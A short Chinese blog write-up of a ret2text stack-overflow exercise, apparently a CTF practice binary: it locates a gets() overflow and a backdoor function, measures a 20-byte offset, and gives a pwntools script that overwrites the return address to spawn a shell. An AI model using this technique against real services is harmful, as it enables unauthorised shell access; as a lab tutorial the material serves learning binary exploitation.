栈溢出--ret2text

静态分析
找到main函数发现有一个明显的带有提示信息命名的函数
image
跟进去之后发现存在栈溢出漏洞
image
程序中在0x8048522地址处存在后门函数,可以获得系统shell
image
检查安全属性
此程序无栈溢出保护,且无PIE保护
image
动态分析
在跟入到gets函数调用的位置,我们输入4字节的数据看下栈中数据情况
image
可以看到此时局部变量在栈中的地址为0xffbb9308,返回地址在0xffbb931c,相差20字节,所以要想覆盖返回值地址,我们需要填充20字节的垃圾数据
image
由于PIE未开启,可以通过ida查看到的后门入口地址覆盖返回地址,达到getshell的目的
exp编写

from pwn import *
io = process("/home/pwn/桌面/题目/ROP/ret2text")
first_message = io.recvline()
print(first_message)
payload = b"A"*20
io.sendline(payload + p32(0x8048522))
io.interactive()
posted @ 2023-07-28 14:24  墨宸  阅读(35)  评论(0)    收藏  举报